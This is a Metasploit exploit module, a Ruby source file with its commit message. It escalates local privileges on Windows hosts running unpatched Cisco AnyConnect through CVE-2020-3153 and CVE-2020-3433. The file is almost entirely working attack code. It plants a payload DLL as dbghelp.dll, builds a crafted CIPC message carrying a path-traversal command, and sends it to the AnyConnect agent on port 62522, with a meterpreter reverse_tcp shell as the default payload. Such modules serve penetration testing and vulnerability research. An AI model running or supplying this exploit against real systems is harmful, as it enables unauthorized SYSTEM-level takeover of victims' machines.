a7ae3c9389
- Made an error in the original research where the TLV had a type and a index, when it only has a type and a modifier that makes it into a TV (Type and Value, no Length). - A TV has its value where the Length would be on a TLV. - Also added a note on the endieness being correct/working because endieness has no impact in the message being used to exploit the vulnerability.
298 lines
12 KiB
Ruby
298 lines
12 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Windows::FileInfo
|
|
include Msf::Post::File
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Cisco AnyConnect Privilege Escalations (CVE-2020-3153 and CVE-2020-3433)',
|
|
'Description' => %q{
|
|
The installer component of Cisco AnyConnect Secure Mobility Client for Windows
|
|
prior to 4.8.02042 is vulnerable to path traversal and allows local attackers
|
|
to create/overwrite files in arbitrary locations with system level privileges.
|
|
|
|
The installer component of Cisco AnyConnect Secure Mobility Client for Windows
|
|
prior to 4.9.00086 is vulnerable to a DLL hijacking and allows local attackers
|
|
to execute code on the affected machine with with system level privileges.
|
|
|
|
Both attacks consist in sending a specially crafted IPC request to the TCP
|
|
port 62522 on the loopback device, which is exposed by the Cisco AnyConnect
|
|
Secure Mobility Agent service. This service will then launch the vulnerable
|
|
installer component (`vpndownloader`), which copies itself to an arbitrary
|
|
location (CVE-2020-3153) or with a supplied DLL (CVE-2020-3433) before being
|
|
executed with system privileges. Since `vpndownloader` is also vulnerable to DLL
|
|
hijacking, a specially crafted DLL (`dbghelp.dll`) is created at the same
|
|
location `vpndownloader` will be copied to get code execution with system
|
|
privileges.
|
|
|
|
The CVE-2020-3153 exploit has been successfully tested against Cisco AnyConnect
|
|
Secure Mobility Client versions 4.5.04029, 4.5.05030 and 4.7.04056 on Windows 10
|
|
version 1909 (x64) and Windows 7 SP1 (x86); the CVE-2020-3434 exploit has been
|
|
successfully tested against Cisco AnyConnect Secure Mobility Client versions
|
|
4.5.02036, 4.6.03049, 4.7.04056, 4.8.01090 and 4.8.03052 on Windows 10 version
|
|
1909 (x64) and 4.7.4056 on Windows 7 SP1 (x64).
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Yorick Koster', # original PoC CVE-2020-3153, analysis
|
|
'Antoine Goichot (ATGO)', # PoC CVE-2020-3153, original PoC for CVE-2020-3433, update of msf module
|
|
'Christophe De La Fuente' # msf module for CVE-2020-3153
|
|
],
|
|
'Platform' => 'win',
|
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'Targets' => [
|
|
[
|
|
'Windows x86/x64 with x86 payload',
|
|
{
|
|
'Arch' => ARCH_X86
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => true,
|
|
'References' => [
|
|
['URL', 'https://ssd-disclosure.com/ssd-advisory-cisco-anyconnect-privilege-elevation-through-path-traversal/'],
|
|
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ac-win-path-traverse-qO4HWBsj'],
|
|
['CVE', '2020-3153'],
|
|
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-anyconnect-dll-F26WwJW'],
|
|
['CVE', '2020-3433']
|
|
],
|
|
'DisclosureDate' => '2020-08-05',
|
|
'Notes' => {
|
|
'SideEffects' => [ARTIFACTS_ON_DISK],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'Stability' => [CRASH_SAFE]
|
|
},
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
|
|
'FileDropperDelay' => 10
|
|
},
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
core_channel_open
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options [
|
|
OptString.new('INSTALL_PATH', [
|
|
false,
|
|
'Cisco AnyConnect Secure Mobility Client installation path (where \'vpndownloader.exe\''\
|
|
' should be found). It will be automatically detected if not set.'
|
|
]),
|
|
OptEnum.new('CVE', [ true, 'Vulnerability to use', 'CVE-2020-3433', ['CVE-2020-3433', 'CVE-2020-3153']])
|
|
]
|
|
end
|
|
|
|
# See AnyConnect IPC protocol articles:
|
|
# - https://www.serializing.me/2016/12/14/anyconnect-elevation-of-privileges-part-1/
|
|
# - https://www.serializing.me/2016/12/20/anyconnect-elevation-of-privileges-part-2/
|
|
# - https://www.serializing.me/2023/01/27/anyconnect-inter-process-communication/
|
|
class CIPCHeader < BinData::Record
|
|
endian :little
|
|
|
|
uint32 :id_tag, label: 'ID Tag', value: 0x4353434f
|
|
uint16 :header_length, label: 'Header Length', initial_value: -> { num_bytes }
|
|
uint16 :data_length, label: 'Data Length', initial_value: -> { parent.body.num_bytes }
|
|
uint32 :ipc_repsonse_cb, label: 'IPC response CB', initial_value: 0xFFFFFFFF
|
|
uint32 :msg_user_context, label: 'Message User Context', initial_value: 0x00000000
|
|
uint32 :request_msg_id, label: 'Request Message Id', initial_value: 0x00000002
|
|
uint32 :return_ipc_object, label: 'Return IPC Object', initial_value: 0x00000000
|
|
uint8 :message_type, label: 'Message Type', initial_value: 1
|
|
uint8 :message_id, label: 'Message ID', initial_value: 2
|
|
end
|
|
|
|
class CIPCTlv < BinData::Record
|
|
# TLVs are tricky when it comes to endieness. For the type and length fields, they're big endian, but
|
|
# for the value, they're little endian. For example, each UTF-16 character, is encoded in one little
|
|
# endian unsigned short. There is one exception to that rule: UTF-8 strings and TV (Type and Value)
|
|
# entries. Note that TVs, are the ones that have a Type like 0x80XX, which are used to store some
|
|
# booleans and unsigned shorts.
|
|
# This is why having the entire "BinData::Record" as big endian is not a problem in this case: the IPC
|
|
# message to which the vulnerabilit(ies) are associated, only makes use of UTF-8 strings and a boolean.
|
|
endian :big
|
|
|
|
uint16 :msg_type, label: 'Type'
|
|
uint16 :msg_length, label: 'Length', initial_value: -> { msg_value.num_bytes }
|
|
stringz :msg_value, label: 'Value', length: -> { msg_length }
|
|
end
|
|
|
|
class CIPCMessage < BinData::Record
|
|
endian :little
|
|
|
|
cipc_header :header, label: 'Header'
|
|
array :body, label: 'Body', type: :cipc_tlv, read_until: :eof
|
|
end
|
|
|
|
def detect_path
|
|
program_files_paths = Set.new([get_env('ProgramFiles')])
|
|
program_files_paths << get_env('ProgramFiles(x86)')
|
|
path = 'Cisco\\Cisco AnyConnect Secure Mobility Client'
|
|
|
|
program_files_paths.each do |program_files_path|
|
|
next unless file_exist?([program_files_path, path, 'vpndownloader.exe'].join('\\'))
|
|
|
|
return "#{program_files_path}\\#{path}"
|
|
end
|
|
|
|
nil
|
|
end
|
|
|
|
def sanitize_path(path)
|
|
return nil unless path
|
|
|
|
path = path.strip
|
|
loop do
|
|
break if path.last != '\\'
|
|
|
|
path.chop!
|
|
end
|
|
path
|
|
end
|
|
|
|
def check
|
|
install_path = sanitize_path(datastore['INSTALL_PATH'])
|
|
if install_path&.!= ''
|
|
vprint_status("Skipping installation path detection and use provided path: #{install_path}")
|
|
@installation_path = file_exist?([install_path, 'vpndownloader.exe'].join('\\')) ? install_path : nil
|
|
else
|
|
vprint_status('Try to detect installation path...')
|
|
@installation_path = detect_path
|
|
end
|
|
|
|
unless @installation_path
|
|
return CheckCode.Safe('vpndownloader.exe not found on file system')
|
|
end
|
|
|
|
file_path = "#{@installation_path}\\vpndownloader.exe"
|
|
vprint_status("Found vpndownloader.exe path: '#{file_path}'")
|
|
|
|
version = file_version(file_path)
|
|
unless version
|
|
return CheckCode.Unknown('Unable to retrieve vpndownloader.exe file version')
|
|
end
|
|
|
|
cve_2020_3153 = (datastore['CVE'] == 'CVE-2020-3153')
|
|
|
|
patched_version_cve_2020_3153 = Rex::Version.new('4.8.02042')
|
|
patched_version_cve_2020_3433 = Rex::Version.new('4.9.00086')
|
|
@ac_version = Rex::Version.new(version.join('.'))
|
|
if @ac_version < patched_version_cve_2020_3153
|
|
return CheckCode.Appears("Cisco AnyConnect version #{@ac_version} < #{patched_version_cve_2020_3153} (CVE-2020-3153 & CVE-2020-3433).")
|
|
elsif (@ac_version < patched_version_cve_2020_3433) && !cve_2020_3153
|
|
return CheckCode.Appears("Cisco AnyConnect version #{@ac_version} < #{patched_version_cve_2020_3433} (CVE-2020-3433).")
|
|
elsif (@ac_version < patched_version_cve_2020_3433) && cve_2020_3153
|
|
return CheckCode.Safe("Cisco AnyConnect version #{@ac_version} >= #{patched_version_cve_2020_3153} (However CVE-2020-3433 can be used).")
|
|
else
|
|
return CheckCode.Safe("Cisco AnyConnect version #{@ac_version} >= #{patched_version_cve_2020_3433}.")
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
fail_with(Failure::None, 'Session is already elevated') if is_system?
|
|
if !payload.arch.include?(ARCH_X86)
|
|
fail_with(Failure::None, 'Payload architecture is not compatible with this module. Please, select an x86 payload')
|
|
end
|
|
|
|
check_result = check
|
|
print_status(check_result.message)
|
|
if check_result == CheckCode::Safe && !@installation_path
|
|
fail_with(Failure::NoTarget, 'Installation path not found (try to set INSTALL_PATH if automatic detection failed)')
|
|
end
|
|
|
|
cac_cmd = '"CAC-nc-install'
|
|
if @ac_version && @ac_version >= Rex::Version.new('4.7')
|
|
vprint_status('"-ipc" argument needed')
|
|
cac_cmd << "\t-ipc=#{rand_text_numeric(5)}"
|
|
else
|
|
vprint_status('"-ipc" argument not needed')
|
|
end
|
|
|
|
cve_2020_3153 = (datastore['CVE'] == 'CVE-2020-3153')
|
|
if cve_2020_3153
|
|
program_data_path = get_env('ProgramData')
|
|
dbghelp_path = "#{program_data_path}\\Cisco\\dbghelp.dll"
|
|
else
|
|
temp_path = get_env('TEMP')
|
|
junk = Rex::Text.rand_text_alphanumeric(6)
|
|
temp_path << "\\#{junk}"
|
|
mkdir(temp_path)
|
|
dbghelp_path = "#{temp_path}\\dbghelp.dll"
|
|
end
|
|
|
|
print_status("Writing the payload to #{dbghelp_path}")
|
|
|
|
begin
|
|
payload_dll = generate_payload_dll(dll_exitprocess: true)
|
|
write_file(dbghelp_path, payload_dll)
|
|
register_file_for_cleanup(dbghelp_path)
|
|
rescue ::Rex::Post::Meterpreter::RequestError => e
|
|
fail_with(Failure::NotFound, e.message)
|
|
end
|
|
|
|
if cve_2020_3153
|
|
# vpndownloader.exe will be copied to "C:\ProgramData\Cisco\" (assuming the
|
|
# normal process will copy the file to
|
|
# "C:\ProgramData\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Installer\XXXX.tmp\")
|
|
register_file_for_cleanup("#{program_data_path}\\Cisco\\vpndownloader.exe")
|
|
junk = Rex::Text.rand_text_alphanumeric(4)
|
|
cac_cmd << "\t#{@installation_path}\\#{junk}\\#{junk}\\#{junk}\\#{junk}\\../../../../vpndownloader.exe\t-\""
|
|
else
|
|
cac_cmd << "\t#{@installation_path}\\vpndownloader.exe\t#{dbghelp_path}\""
|
|
end
|
|
|
|
vprint_status("IPC Command: #{cac_cmd}")
|
|
|
|
cipc_msg = CIPCMessage.new
|
|
cipc_msg.body << CIPCTlv.new(
|
|
msg_type: 2,
|
|
msg_value: cac_cmd
|
|
)
|
|
cipc_msg.body << CIPCTlv.new(
|
|
msg_type: 6,
|
|
msg_value: "#{@installation_path}\\vpndownloader.exe"
|
|
)
|
|
|
|
vprint_status('Connecting to the AnyConnect agent on 127.0.0.1:62522')
|
|
begin
|
|
socket = client.net.socket.create(
|
|
Rex::Socket::Parameters.new(
|
|
'PeerHost' => '127.0.0.1',
|
|
'PeerPort' => 62522,
|
|
'Proto' => 'tcp'
|
|
)
|
|
)
|
|
rescue Rex::ConnectionError => e
|
|
fail_with(Failure::Unreachable, e.message)
|
|
end
|
|
|
|
vprint_status("Send the encoded IPC command (size = #{cipc_msg.num_bytes} bytes)")
|
|
socket.write(cipc_msg.to_binary_s)
|
|
socket.flush
|
|
# Give FileDropper some time to cleanup before handing over to the operator
|
|
Rex.sleep(3)
|
|
ensure
|
|
if socket
|
|
vprint_status('Shutdown the socket')
|
|
socket.shutdown
|
|
end
|
|
end
|
|
|
|
end
|